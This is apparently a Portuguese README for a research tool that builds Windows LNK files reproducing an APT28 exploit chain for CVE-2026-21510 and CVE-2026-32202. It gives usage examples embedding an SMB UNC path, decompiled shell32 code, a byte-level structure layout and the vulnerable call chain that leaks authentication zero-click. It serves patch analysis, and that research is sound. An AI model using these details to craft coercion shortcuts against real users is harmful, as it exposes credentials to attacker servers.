
Gera arquivos LNK com estruturas _IDCONTROLW elaboradas para pesquisar vulnerabilidades de spoofing do Windows Shell CVE-2026-21510 e CVE-2026-32202, incluindo engenharia reversa dos componentes internos da shell32.dll.
python3 CVE-2026-32202.py -h
usage: CVE-2026-32202.py [-h] --unc PATH [--out FILE] [--applet-id INT] [--name STR] [--infotip STR] [--no-dump]
Generate a test LNK file with an _IDCONTROLW structure.
Research tool for CVE-2026-21510 / CVE-2026-32202 patch analysis.
options:
-h, --help show this help message and exit
--unc, -u PATH UNC or local path to embed in _IDCONTROLW (e.g. \\192.168.1.31\share\test.cpl)
--out, -o FILE Output LNK filename (default: test_idcontrolw.lnk)
--applet-id, -a INT Signed applet ID for dwAppletID (default: -201 = 0xFFFFFF37)
--name, -n STR Display name of the CPL applet (default: "Research CPL")
--infotip, -i STR Tooltip string (default: "CVE-2026-21510 research")
--no-dump Suppress the hex dump of _IDCONTROLW
Examples:
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl
python CVE-2026-32202.py --unc \\192.168.1.31\share\test.cpl --out poc.lnk
python CVE-2026-32202.py --unc \\srv\share\x.cpl --applet-id -201 --no-dump
_IDCONTROLWContexto de pesquisa: Análise de CVE-2026-21510 / CVE-2026-32202 (cadeia de exploração LNK do APT28).
Baseado em Akamai Security Research.
Objetivo: Reconstruir a estrutura interna_IDCONTROLWusada pelashell32.dllpara representar applets do Painel de Controle dentro de umLinkTargetIDList.
O APT28 explorou uma vulnerabilidade no Windows Shell (shell32.dll) criando um arquivo .lnk malicioso contendo um LinkTargetIDList com um caminho UNC embutido dentro de uma estrutura não documentada _IDCONTROLW. Isso fez com que o explorer.exe iniciasse uma conexão SMB para um servidor controlado pelo atacante sem interação do usuário (zero-click).
A estrutura _IDCONTROLW não é documentada no SDK público do Windows nem nos símbolos PDB públicos da Microsoft para shell32.dll. Este relatório documenta sua reconstrução por meio de análise estática no IDA Pro.
De acordo com MS-SHLLINK, o LinkTargetIDList contém um IDList padrão — um array de entradas ItemID de comprimento variável terminado por um nulo de 2 bytes.
Na exploração do APT28, o IDList contém exatamente três itens:
| Índice | Conteúdo |
|---|---|
IDList[0] | CLSID {26EE0668-A00A-44D7-9371-BEB064C98683} — raiz do Painel de Controle |
IDList[1] | Item CControlPanelCategoryFolder — "Todos os Itens do Painel de Controle" (categoria 0) |
IDList[2] | _IDCONTROLW — entrada de applet CPL com caminho UNC embutido |
Isso resolve para o caminho virtual:
::{26EE0668-A00A-44D7-9371-BEB064C98683}\0\{entrada CPL}
Como _IDCONTROLW está ausente dos símbolos PDB públicos, a reconstrução foi realizada rastreando a cadeia de chamadas no IDA Pro a partir de CControlPanelFolder::GetUIObjectOf — a função responsável por renderizar itens do Painel de Controle no Explorer.
CControlPanelFolder::GetUIObjectOfQuando o Explorer renderiza uma pasta contendo o LNK malicioso, ele chama GetUIObjectOf para extrair um ícone para o item CPL. Isso aciona a seguinte cadeia:
CControlPanelFolder::GetUIObjectOf
└── CControlPanelFolder::GetModuleMapped ← PathFileExistsW acionado aqui (CVE-2026-32202)
└── CControlPanelFolder::GetModule
└── CControlPanelFolder::_IsUnicodeCPLWorker ← detecta _IDCONTROLW
_IsUnicodeCPLWorker — validação da estruturaconst struct _IDCONTROLW *__thiscall
CControlPanelFolder::_IsUnicodeCPLWorker(_WORD *this)
{
if ( *this > 0x18u // cb > 24
&& !*(this + 4) // +0x08 == 0
&& !*(this + 5) // +0x0A == 0
&& !*((_BYTE *)this + 12) // +0x0C == 0
&& *((_BYTE *)this + 13) == 106 ) // +0x0D == 0x6A
return (const struct _IDCONTROLW *)this;
return nullptr;
}
Isso revela o marcador Unicode no offset +0x0D = 0x6A.
CControlPanelFolder::GetModule — acesso aos campos// Caminho Unicode lido do offset +0x18 (v5[1] = &structure[1] = +0x18):
v10 = StringCchCopyW((size_t)&v6[1], v12, savedregs);
// Fallback ANSI lê do offset +0x0C:
v7 = SHAnsiToUnicode((PCSTR)(v6 + 12), a1, (int)cwchBuf) == 0;
Isso confirma que o caminho Unicode (ModulePath) começa em +0x18.
_IDControlCreateW — construção da estruturaint __userpurge _IDControlCreateW@<eax>(...)
{
v8 = wcslen(a2); // len(ModulePath)
v9 = 2 * wcslen(a3) + 2; // sizeof(Name) em bytes
v10 = 2 * v8 + 4 + v9 + 2 * wcslen(a4); // tamanho total dos dados
v11 = ILCreate(v10 + 26); // alocação: dados + cabeçalho 0x1A
v11[1] = a1; // +0x04: dwAppletID
*((_BYTE*)v11 + 13) = 106; // +0x0D: typeFlag = 0x6A
*((_WORD*)v11 + 10) = (2*v8+2) >> 1; // +0x14: cchModule
*((_WORD*)v11 + 11) = *((_WORD*)v11+10) + (v9>>1); // +0x16: offName
*(_WORD*)v11 = v10 + 24; // +0x00: cb
// strings gravadas em +0x18
}
_IDCONTROLW Reconstruídastruct _IDCONTROLW {
WORD cb; // +0x00 tamanho da estrutura inteira (incluindo o próprio cb)
WORD pad1; // +0x02 preenchimento, sempre 0
DWORD dwAppletID; // +0x04 ID do applet (negativo para CPL registrado, ex.: -201 = 0xFFFFFF37)
WORD pad2; // +0x08 sempre 0 (verificado por _IsUnicodeCPLWorker)
WORD pad3; // +0x0A sempre 0 (verificado por _IsUnicodeCPLWorker)
BYTE pad4; // +0x0C sempre 0 (verificado por _IsUnicodeCPLWorker)
BYTE typeFlag; // +0x0D = 0x6A — marcador de CPL Unicode
WORD pad5; // +0x0E preenchimento
DWORD pad6; // +0x10 preenchimento
WORD cchModule; // +0x14 comprimento de ModulePath em WCHARs (incluindo terminador nulo)
WORD offName; // +0x16 offset de Name a partir do início de data[] em WCHARs
WCHAR data[1]; // +0x18 ModulePath\0Name\0InfoTip (UTF-16LE)
};
| Offset | Tamanho | Campo | Valor / Observações |
|---|---|---|---|
+0x00 | WORD | cb | Tamanho total da estrutura |
+0x02 | WORD | pad1 | 0 |
+0x04 | DWORD | dwAppletID | ID do applet (ex.: 0xFFFFFF37 = -201) |
+0x08 | WORD | pad2 | 0 — validado por _IsUnicodeCPLWorker |
+0x0A | WORD | pad3 | 0 — validado por _IsUnicodeCPLWorker |
+0x0C | BYTE | pad4 | 0 — validado por _IsUnicodeCPLWorker |
+0x0D | BYTE | typeFlag | 0x6A — marcador Unicode |
+0x0E | WORD | pad5 | 0 |
+0x10 | DWORD | pad6 | 0 |
+0x14 | WORD | cchModule | wcslen(ModulePath) + 1 |
+0x16 | WORD | offName | cchModule (Name segue imediatamente ModulePath) |
+0x18 | WCHAR[] | data[] | ModulePath\0Name\0InfoTip (UTF-16LE) |
_IDCONTROL vs _IDCONTROLWA versão ANSI (_IDCONTROL) é criada por _IDControlCreateA e usa um layout diferente:
struct _IDCONTROL {
WORD cb; // +0x00 = total_size + 12
WORD flags; // +0x02
DWORD dwAppletID; // +0x04
WORD cchModule; // +0x08 strlen(ModulePath) + 1
WORD offName; // +0x0A cchModule + strlen(Name) + 1
CHAR data[1]; // +0x0C ModulePath\0Name\0InfoTip (ANSI)
};
Diferenças principais:
| Propriedade | _IDCONTROL (ANSI) | _IDCONTROLW (Unicode) |
|---|---|---|
| Tamanho do cabeçalho | 0x0C (12 bytes) | 0x18 (24 bytes) |
| Codificação de strings | ANSI (char) | UTF-16LE (WCHAR) |
| Marcador Unicode | ausente | +0x0D = 0x6A |
| Detecção | _IsUnicodeCPLWorker retorna nullptr | retorna ponteiro |
| Offset inicial do caminho | +0x0C | +0x18 |
{26EE0668-...})1F 50 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83
Tipo 0x1F = item shell raiz com CLSID.
Reconstruído a partir de CControlPanelCategoryFolder::CreateIDList:
*(_WORD*)v5 = 12; // cb = 0x0C
*((_WORD*)v5 + 1) = 1; // flags = 0x0001
v5[1] = 0x39DE2184; // identificador mágico
v5[2] = 0; // índice da categoria = 0
Binário:
0C 00 01 00 84 21 DE 39 00 00 00 00
_IDCONTROLW com caminho UNCExemplo com \\192.168.1.31\share\test.cpl:
9E 00 — cb = 158
00 00 — pad1
37 FF FF FF — dwAppletID = -201
00 00 — pad2
00 00 — pad3
00 — pad4
6A — typeFlag = 0x6A ✓
00 00 00 00 00 00 — pad5 + pad6
1E 00 — cchModule = 30
1E 00 — offName = 30
5C 00 5C 00 ... — \\192.168.1.31\share\test.cpl (UTF-16LE)
A cadeia de vulnerabilidade na versão sem patch:
Explorer renderiza a pasta
→ CControlPanelFolder::GetUIObjectOf (solicitação de extração de ícone)
→ CControlPanelFolder::GetModuleMapped
→ PathFileExistsW(pszPath) ← conexão SMB iniciada AQUI
O patch da Microsoft (CVE-2026-21510) introduziu ControlPanelLinkSite que adiciona verificação SmartScreen via IVerifyingTrust::OnVerifyingTrust — mas apenas no estágio ShellExecuteExW. A chamada PathFileExistsW em GetModuleMapped ocorre mais cedo na cadeia e não foi tratada, deixando CVE-2026-32202 (coerção de autenticação) sem patch até uma atualização subsequente.
As informações fornecidas neste repositório são apenas para fins educacionais e informativos. O autor não endossa nem se responsabiliza por qualquer uso ilegal, malicioso ou antiético do material apresentado. As técnicas e conceitos discutidos não devem ser aplicados a sistemas ou redes sem autorização adequada. O autor não é responsável por quaisquer danos, consequências legais ou perdas resultantes do uso indevido destas informações. Os leitores são incentivados a cumprir todas as leis e diretrizes aplicáveis relativas a práticas de segurança cibernética.